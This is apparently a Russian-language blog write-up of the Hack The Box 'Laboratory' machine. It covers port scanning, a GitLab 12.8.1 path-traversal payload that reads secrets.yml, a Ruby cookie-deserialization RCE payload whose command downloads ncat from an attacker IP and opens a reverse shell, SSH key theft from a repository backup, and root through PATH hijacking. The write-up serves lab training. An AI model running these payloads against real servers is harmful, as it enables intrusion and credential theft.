Laboratory Hack The Box (HTB)

laboratory htb

Продолжим тему Hack The Box. На этот раз будем взламывать GitLab. Задание называется — Laboratory HTB. Я покажу как эксплуатировать уязвимость GitLab для про­изволь­ного чте­ния фай­лов и уда­лен­ного выпол­нения кода. Мы так­же немного поковыряемся в репози­тори­ях и используя технику path hijacking повысим при­виле­гии.

Еще по теме: Эксплуатация ядра Linux на виртуалке c Hack The Box

Я очень не рекомендую под­клю­чать­ся к машинам с Hack The Box без VPN. И не советую это делать с компа, где хранятся важ­ные для вас дан­ные, так как после подключения вы ока­житесь в общей сети с дру­гими учас­тни­ками.

Идем в разведку

В нашем случае, разведку начнем со сканирования портов, чтобы определить какие сервисы запущены на машине.

Сканирование портов

IP-адрес машины — 10.10.10.216, я решил дать ей имя laboratory.htb. Делается это с помощью строч­ки в /etc/hosts.

Теперь сканируем порты с помощью Nmap:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Laboratory Hack The Box. Ре­зуль­тат работы скрип­та
Ре­зуль­тат работы скрип­та

Nmap нашел 3 откры­тых пор­та:

  1. порт 22 (TCP) — служ­ба SSH;
  2. порт 80 (HTTP) — веб‑сер­вер Apache 2.4.41;
  3. порт 443 (HTTPS) — веб‑сер­вер Apache 2.4.41.

Я был приятно удивлен, когда после сканирования порта 443 (функция которого — общение по зашифрованному протоколу), в отчете нашелся сертификат, а в нем еще один домен git.laboratory.htb. Я его пожалуй тоже внесу в /etc/hosts:

10.10.10.216 git.laboratory.htb

При попытке обра­щения к laboratory.htb я ничего инте­рес­ного не получил, а вот на най­ден­ном git.laboratory.htb меня встретил GitLab.

Сканируем веб

GitLab — это онлайн-сервис, предназначенный для работы с git-репозиториями. Он дает возможность выполнять совместную разработку силами нескольких команд, применять обновления кода и откатывать изменения, если это необходимо. Также имеется своя вики и система отслеживания ошибок.

Laboratory HTB. Стра­ница авто­риза­ции GitLab
Авто­риза­ция GitLab

Зарегистрируемся на сервисе, чтобы получить дос­туп к расширенному функционалу, чем у обычных смертных гос­тей. Это серезный проект, поэтому мы не будем «тыкать кавыч­ки» в каж­дую фор­му.

Лучше попробуем найти инфу про уязвимости и готовые экс­пло­иты. Для этого узнаем вер­сию про­дук­та. Как правило найти ее можно на стра­ницах типа About или в хелпе. В нашем версия указанна в Help.

Ис­поль­зуемая вер­сия GitLab
Ис­поль­зуемая вер­сия GitLab

Итак, версию мы узна­ли — это 12.8.1.

Точка входа

Я предпочитаю искать экс­пло­иты с помощью любимого поисковика Google, потому, что он умеет заг­лядыва­ть в лич­ные бло­ги пентестеров и хакеров, и в самые различные отче­ты. Для быстрого результата можно попробовать сайты для поиска уязвимостей.

Если вы исполь­зуете Kali, то эта база у вас уже имеется, а для поиска эксплоита исполь­зуйте ути­литу searchsploit.

Ищем экс­пло­иты для GitLab с помощью searchsploit
Ищем экс­пло­иты для GitLab с помощью ц

Как вы можете видеть на скрине выше, searchsploit нашел сра­зу нес­коль­ко экс­пло­итов, но для вер­сии GitLab 12.8.1 ничего рабочего не нашлось. Есть только для более новой (версия 48431), а это зна­чит, что ско­рее все­го, эксплоит нам подойдет.

Уяз­вимость сра­баты­вает при переме­щении задачи меж­ду про­екта­ми GitLab и при­водит к тому, что злоумышленник может читать фай­лы на уда­лен­ной машине. Но у меня ни одна из реали­заций это­го экс­пло­ита не захотела работать, поэто­му будем делать все в руч­ном режиме.

Для это­го нам необходимо изна­чаль­ное иссле­дова­ние, доказа­тель­ство работос­пособ­ности POC (proof of concept) этой уяз­вимос­ти. Для поиска идем в Гугл.

На HackerOne нашел­ся полный отчет. В нем рассказывается, как не толь­ко читать фай­лы, но и получить уда­лен­ное выпол­нение кода (RCE)!

По­иск PoC на HackerOne
По­иск PoC на HackerOne

Для получе­ния RCE необходима кон­соль Ruby on Rails и зна­чение secret_key_base из фай­ла /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml.

Чтобы получить содер­жимое это­го фай­ла будем исполь­зовать пер­вую уяз­вимость, которая дает возможность читать про­изволь­ные фай­лы.

Закрепление

Итак, чита­ем файл. Соз­дадим два про­екта в GitLab, а потом перей­дем к вклад­ке Issues и выберем New Issue. Там ука­зыва­ем сле­дующее зна­чение в качес­тве опи­сания и таким обра­зом вос­поль­зуем­ся уяз­вимостью типа path traversal.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Стра­ница соз­данно­го про­екта
Стра­ница соз­данно­го про­екта
Стра­ница New Issue
Стра­ница New Issue

Да­лее необ­ходимо ука­зать целевой про­ект (который мы соз­дали вто­рым), пос­ле чего secrets.yml мож­но будет заг­ружать. Так мы получа­ем нуж­ный для RCE сек­ретный параметр.

Вы­бор опции переме­щения задачи
Вы­бор опции переме­щения задачи
Вы­бор про­екта для переме­щения задачи
Вы­бор про­екта для переме­щения задачи
Дос­тупный для заг­рузки файл, пред­став­ленный в качес­тве вло­жения
Дос­тупный для заг­рузки файл, пред­став­ленный в качес­тве вло­жения
Со­дер­жимое фай­ла secrets.yml
Со­дер­жимое фай­ла secrets.yml

Прис­тупим к получе­нию уда­лен­ного выпол­нения кода. Для это­го нам нуж­но уста­новить gitlab-rails в Docker. Пос­ле уста­нов­ки запус­каем.

sudo docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0

Теперь запустим.

sudo docker images
sudo docker run 719e7e45b1e2
За­пуск Gitlab Docker Image
За­пуск Gitlab Docker Image

А теперь выпол­ним bash в дан­ном обра­зе.

sudo docker ps
sudo docker exec -ti 2b2261d24147 bash
По­луче­ние спис­ка запущен­ных кон­тей­неров
По­луче­ние спис­ка запущен­ных кон­тей­неров
Вы­пол­нение bash в соз­данном кон­тей­нере
Вы­пол­нение bash в соз­данном кон­тей­нере

Нам нуж­но заменить файл /opt/gitlab/embedded/service/gitlab-rails/config/secrets тем, который мы смог­ли получить с уда­лен­ного хос­та. Заг­ружа­ем кон­соль коман­дой gilab-rails console и выпол­няем коман­ды, ука­зан­ные в отче­те. Сна­чала запус­тим лис­тенер. Я советую исполь­зовать обо­лоч­ку rlwrap, а в качес­тве самого лис­тенера исполь­зуем извес­тный netcat.

apt install rlwrap
rlwrap nc -lvp [port]

Спо­собы соз­дать бэк­коннект‑шелл не сра­бота­ли, а вот коман­да wget выпол­нилась, поэто­му для соз­дания бэк­коннек­та я заг­рузил со сво­его хос­та ста­тичес­ки соб­ранный ncat, наз­начил ему пра­ва на выпол­нение и успешно под­клю­чил­ся.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `wget 10.10.14.75:8000/ncat -O /tmp/ncat ; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.75 4321` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Пос­ле выпол­нения это­го кода мы получим cookie, с помощью которых соз­дадим бэк­коннект.

curl -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=
По­луче­ние бэк­коннек­та
По­луче­ние бэк­коннек­та

Что­бы получить инте­рак­тивный реверс шелл, про­дуб­лиру­ем бэк­коннект из уже соз­данно­го.

Laboratory Hack The Box (HTB)

Продвижение

Пос­коль­ку мы име­ем дело с GitLab, пер­вым делом про­веря­ем репози­тории. Для удобс­тва бэкапим, заг­ружа­ем на свой хост, а там уже ана­лизи­руем.

gitlab-backup
Соз­дание бэкапа GitLab
Соз­дание бэкапа GitLab

Мое вни­мание сра­зу прив­лек репози­торий с кри­чащим наз­вани­ем securewebsite поль­зовате­ля dexter. Пос­ле заг­рузки архи­ва на свой хост находим в нем ключ SSH.

Прос­мотр содер­жимого репози­тория
Прос­мотр содер­жимого репози­тория

За­даем это­му клю­чу нуж­ные пра­ва и уже можем под­клю­чить­ся по SSH.

chmod 0600 id_rsa
ssh -i id_rsa dexter@laboratory.htb
То­кен поль­зовате­ля
То­кен поль­зовате­ля

Локальное повышение привилегий

Те­перь в ход идут скрип­ты PEASS, которые помога­ют най­ти путь для даль­нейше­го прод­вижения. Запус­каем на хос­те LinPEAS и находим при­ложе­ние с выс­тавлен­ным битом SUID.

Об­наружен­ный файл docker-security с выс­тавлен­ным битом SUID
Об­наружен­ный файл docker-security с выс­тавлен­ным битом SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid, обыч­ный поль­зователь, запус­кающий этот файл на исполне­ние, получа­ет повыше­ние прав до поль­зовате­ля‑вла­дель­ца фай­ла (в дан­ном слу­чае root) в рам­ках запущен­ного про­цес­са.

Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, выпол­нение которых обыч­ному поль­зовате­лю недос­тупно. В базе GTFOBins это­го фай­ла не находим, поэто­му пос­мотрим, исполь­зует ли это при­ложе­ние еще какие‑нибудь вызовы.

GTFOBins — база дво­ичных фай­лов Unix, которые мож­но исполь­зовать для обхо­да локаль­ных огра­ниче­ний безопас­ности в неп­равиль­но нас­тро­енных сис­темах.
Об­щие вызовы docker-security
Об­щие вызовы docker-security

Из вывода ltrace видим, что при вызове коман­ды chmod ука­зыва­ется непол­ный путь к фай­лу прог­раммы. А это зна­чит, что сис­тема будет пооче­ред­но искать этот файл в каж­дой из дирек­торий, которые ука­заны в перемен­ной окру­жения PATH.

С помощью коман­ды export мы можем дописать в начало перемен­ной путь к любой сво­ей дирек­тории, тог­да сис­тема сна­чала выпол­нит тот chmod, который будет там рас­положен. В этот файл мы запишем какой угод­но свой код. К при­меру, вызов bash. Это даст нам кон­соль в кон­тек­сте root. Этот метод известен как path hijacking.

Cоз­даем свой шелл в дирек­тории /tmp и называ­ем chmod, пос­ле чего добавим дирек­торию /tmp в перемен­ную сре­ды PATH, что­бы при вызове коман­ды chmod выпол­нился наш файл.

Экс­плу­ата­ция path hijacking
Экс­плу­ата­ция path hijacking

Пос­ле выпол­нения docker-security мы получим при­виле­гиро­ван­ную кон­соль.

То­кен root
То­кен root

Ма­шина зах­вачена, у нас есть пол­ный кон­троль над ней.

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *